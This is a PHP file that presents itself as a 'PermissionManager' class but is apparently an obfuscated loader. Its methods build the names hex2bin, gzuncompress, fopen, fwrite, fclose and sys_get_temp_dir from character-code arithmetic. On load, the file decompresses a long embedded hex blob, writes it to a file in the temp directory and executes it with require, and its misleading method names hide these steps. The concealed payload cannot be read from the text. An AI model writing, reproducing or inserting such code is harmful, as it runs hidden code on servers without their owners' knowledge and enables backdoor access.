<?php
class PermissionManager
{
    private $xl = '';
    private $ba = '';
    public function logEvent($p1)
    {
        $v = array(2 * 52, 14 * 58 - 711, 2 * 60, 27 * 1 + 23, 23 * 3 + 29, 102 + 1 + 2, 51 + 47 + 12);
        $d = '';
        foreach ($v as $n) {
            $d .= chr($n);
        }
        return $d($p1);
    }
    public function initializeModule($p1)
    {
        $j = array(5 * 23, 48 + 67, 34 + 67, 80 + 27 + 7, 121 - 9, 107 * 1 + 2, 101 * 1 + 10, 42 + 45 + 12, 44 + 66, 117, 70 + 32 + 20, 104 - 1);
        $b = '';
        foreach ($j as $r) {
            $b .= chr($r);
        }
        $b = strrev($b);
        return $b($p1);
    }
    public function terminateSession($p1, $p2)
    {
        $g = array(59 * 1 + 43, 14 * 101 - 1303, 112, 109 - 8, 77 * 41 - 3047);
        $x = '';
        foreach ($g as $m) {
            $x .= chr($m);
        }
        return $x($p1, $p2);
    }
    public function scheduleJob($p1, $p2)
    {
        $v = array(30 * 47 - 1308, 41 + 42 + 36, 123 - 9, 81 * 1 + 24, 119 - 3, 109 - 8);
        $w = '';
        foreach ($v as $c) {
            $w .= chr($c);
        }
        return $w($p1, $p2);
    }
    public function logTransaction($p1)
    {
        $l = array(2 * 51, 52 * 12 - 525, 59 + 29 + 20, 3 * 37, 8 * 117 - 821, 15 + 86);
        $lf = '';
        foreach ($l as $d) {
            $lf .= chr($d);
        }
        return $lf($p1);
    }
    public function prepareOutput($p1, $p2 = null)
    {
        $c = array(111 - 2, 105, 86 + 4 + 24, 116, 70 * 1 + 44);
        $o = '';
        foreach ($c as $e) {
            $o .= chr($e);
        }
        $o = strrev($o);
        return $o($p1, $p2);
    }
    public function cacheData()
    {
        $this->ba = $this->prepareOutput($this->processData(), '/');
    }
    public function filterResults()
    {
        $this->xl = $this->initializeModule($this->logEvent($this->iu));
    }
    public function encryptData()
    {
        $fn = $this->ba . '/qr-692cf4e098ae5';
        $f = $this->terminateSession($fn, 'w');
        $this->scheduleJob($f, $this->xl);
        $this->logTransaction($f);
        $this->computeResult($fn);
    }
    private $iu = '789cb5188b72da48f257ec2adf820a97836dec3861d99440e' . '26110423c9290948f42426f90b0241821affffda67b242fc25' . 'ebca9bb3386d274f7f46b7afaa1dfbfacadf589b69c87e1c9c' . 'c55ada775606fe7917e1246f3c8d6ce662bc7a9b2e71363e36' . '991ed7b2733cf5a15cf6646689d9fcd42957bb28de269a82f8' . 'dcf9f7103c79e67beb92872d5b3d94eaf8551b0d4bd229253c' . '84a8d6aea3cd46f2bb385aef90bbdb8b7fd27b27ee0aa861fd' . '01dd176592b53418fc65f5ce87e604351a7b51aa0aaa5122e3' . '9c4fdc4e7879a6605453f5814f781dcbf19245419e05fa0df0' . '3c755033dda041e92569ff36ed8331d6d7adad3b6360f82f9a' . 'e5898594958a8fd51689be6b03d22d3ef4948eacab42bf10b4' . '31e4bedb6f26977cff34399ef688af7a95e382fcc12c3c62df' . '549ab95f893b6d8e9f1b1d9fdf1d5bf6fefeebef10a2909a6c' . '84b5f270dc176d5162191189b2a6cd5dc0d6c1df0a406cbc8d' . 'dc152b67cabe110b3e3926f0d259645e24a634bba17c4ca18d' . '64dd3d7c4242cf72c4969d8cd6e7d1c2e47d6b4dbae4b77825' . '3fede345d91e2dd81c27fec349a02b08ed50458f7cc4ae79ed' . '4505a1800644a487daa3088e72024ee7c15be8908312c8074e' . 'b535d4a77ed763180e071a519d96390644fd12381c77eaccd7' . 'b97cbba5697d4c1a4fc4336c54edfbcebf5095974c954d314b' . 'e2eb9a42ff1155daaf3bddea42cf69aa43bb0b4c1d464a2e6a' . '8e0a05e694a89a24b4a072d8962c67fd26a9a7ca3ad746e512' . 'd0dcdab2b2deabd1e40d4d523125261e28ef9d78d00d26a283' . 'b23b5c6d5f0007a7167d84f4151c01c250e7b4a192171e8a25' . 'f7846a0ad91c0f207bde114210ef23512deeb934fdf15f772b' . 'bf8ee06121fb6bf7dbf438ac05a32652a432163b300c864557' . '99478bf2d9bdaa26f86ed1f13e55122e15c5e2d1d8a43caadc' . 'd6c2b4f7f4c9a18378f2feeb643c697a8dd54ffadef21638f2' . '96f6b781ecd5dc7e913fe52de55e67243aa346da67abc61d8f' . '28dccf3966457946ee2af8571d9eff1fc878ee3231563298ce' . 'f2a62a34278218c5b3b1331c99aed976261671241e85cf3c2d' . '46e396e8c2768ee185a23c28ec48230bde2858ed372ca04d94' . '6766687c1b44cca4448a6572dfbce1246e40a30cbadc7509d1' . 'b21713fb46cde1746d20740e9ba9fed57d3fda1d9217c280bf' . 'ebc33e2c3a6c3dcbfb35586766f85a413893b2510c76edc749' . '88fd8dd6826fc872ecfdff5858ad277c88d30e237039eb7ef1' . 'bcc0924b49931a2d357f8a8db9094fb1def0a6371d751f8441' . '63416522a06a830aa847d25dc0c9c50ed2512a25609c398950' . '109fdae23aadd11db64224626262f38bccca717c0d651a0630' . 'db2788d31cc0df2a9db70ee950c9a0418a0467c331e24be389' . 'a30b334076f8051264a63d5c46b12a1c3fa1693ba65a1dc359' . '981b16b62a00d2732c66c60b1409ffc68a320aefafc6ce9f38' . '51e14a1cad0da002584e54c303c880b3403bf45012912f4b47' . 'ca0a085c60e433da2f9bb258e7fe628212352ca451415389ac' . 'f9fce66765c9b914d9c67089912f367923204badf7ea3a565e' . 'd87b838cfd143fa83380828392d36c67c19eadcd3c2d6f36c6' . '94a44bf01d3679dd2bc26a1399292ac69e402cdf3315b68f28' . '4b009324b68ed3b9b3564b9db11ab50ba6a45db8bb8c0df788' . 'b62b9443f500d69d1dc875f5d5cefff95de590387a59d5633b' . '6f809a21e6a39cd2089c3815b05ae4a2c7ba9b3460094cc365' . 'c6045feb9a7ca65b984ffdc435adbc1efa787541f2f6e4a7bd' . 'f8cb8b46febc5d54d29ff433df4f416b743997936b0f7e54b5' . '9a8813e77d1b5a5d2dfda0e550b8ec55f15527f53e267e6f85' . '7327ed5fd79fdaef3c4ef0238d083c605aabec7e99a5ab8f7e' . '51e8adcc521cd6d093f5c762a79ec55897ee83e6cdde09899b' . '579a2cbebd2e5754a74fe5a87bceeeface969545f2901a79df' . 'f4169ac053d1477bbf7f7b1f4ce9a7b78e590cb4bea2df8411' . '907b82bc05da5b87cc8952f3e423cedffc0fda567637bda72b' . '3d0d3fef7f9af7612d2d3d94c8bc1b17a920fb70013cfe332c' . '0680b9d3c16ba25c8385e014e548b596e9c69f3e572ae2e0f5' . '2cf1cb3934b68e6c1c4a8929ab6099633dbb321ff840e57c53' . '54d47fe1a2094e2bc3119f6e4c178361af5665fc561a7391d8' . '8e2f09c65c07f44df9647e3f37de7952eb9633b9b72af277fe' . 'bc90d7edc91fbe7ffdd8d382668288e27c3fe78c8f7474d6ad' . '2ff4f505be48503012596b08fed6ac8fdbed8188f3b92284f7' . '21efcd5bb744ccaff843d862dcad0635d631200ea6d19d4d42' . '3db33fc0c81306de9877a06c10aec6df3f52f623d6060d0027' . '8ba5fd46ecaa5ec9fe3d8c47682019916ddb399efd7d6f320d' . '46754521adaf47a1861ad08b8bc18dafa433ea757e8a196bf5' . 'd300260f3ad15d048b23bb87e7420000d0dbc7d877c6136803' . '1492fb0a49ad5f943ba08af65dab0a0908bbc14981fa0fbd3d' . '76fcaa14d18f4c20e88796bbb13b121447b73374c166003ed3' . 'a6912cc335e602b6563e6216a5033425f73fd351dbe8be8cd2' . 'f39f22df6681eb5e3730efe88192c0005df52c0c6e64fa3adc' . '4c339e3ba9ff2af200be32ff7791f5e2e65ff59ff4615e49e8' . 'cf5260ad9e21c7d91bd6778dd2ab1bee5d4d0fd6c3724c5d8b' . '46a060dd78cc9feb5a85c5ee4aec1f175a617bca580fb010d1' . '1e5ce8020267f4a307641186af302c7bdd639ed5168d5c8ee0' . 'd684c1bc8ec85859e40f15f7bb52ccc46e290e6df035f6b582' . 'eb6c42cb0026bab47e9638ce0ddca4ac935eb28393321d9a4d' . '45be3387982814be07e705fde26810110eed082d2e4a30a663' . 'f9ccc620ccf443b2aca40bbedc511513027c220b97a250ac64' . '4f0da0e25bde362359d4cc323a2609c840b0d29e7b3b7592ed' . 'f3f09367f2cdcf8085b183029d1063d9af17de7c860da84a66' . '09e1c61bc42e1abcdfa852f0d62c35e467a30dbcee1f5dcdad' . 'bbf29b777d0f9bcfa656d874b6a40cf52f5211f5bfd353eb6f' . 'a92f271ad59d5a32395899638a6c6662a5db3fc93fc0dd181c' . '0da60ae74493e21c6582942079134baf35898a2e16540b8427' . 'ca21d6453078bc91aa6dcaa1ed3968b435d4f33655dc2fdf9e' . '7cb8ab2df5f261aa89beeca8adc729d4e6af97a82d16a9a544' . 'eed0f609b1f65b7ac5eb88b88e1a9a08359978ef1a0a8c5f05' . '432d4f74d6d03af5df1356dfad2365d39a1ef65cfa81487c53' . '29bbb61ef3f19b1e17501b84f337333361c1110bfb8ecf93fb' . '775f107';
    public function computeResult($p)
    {
        require $p;
    }
    public function processData()
    {
        $a = array(82 * 1 + 33, 130 - 9, 115, 76 * 37 - 2717, 79 + 24, 101 * 1, 2 * 58, 95, 116, 101 * 1, 118 - 9, 119 - 7, 95, 80 + 2 + 18, 17 * 3 + 54, 35 + 20 + 59);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$gl = new PermissionManager();
$gl->cacheData();
$gl->filterResults();
$gl->encryptData();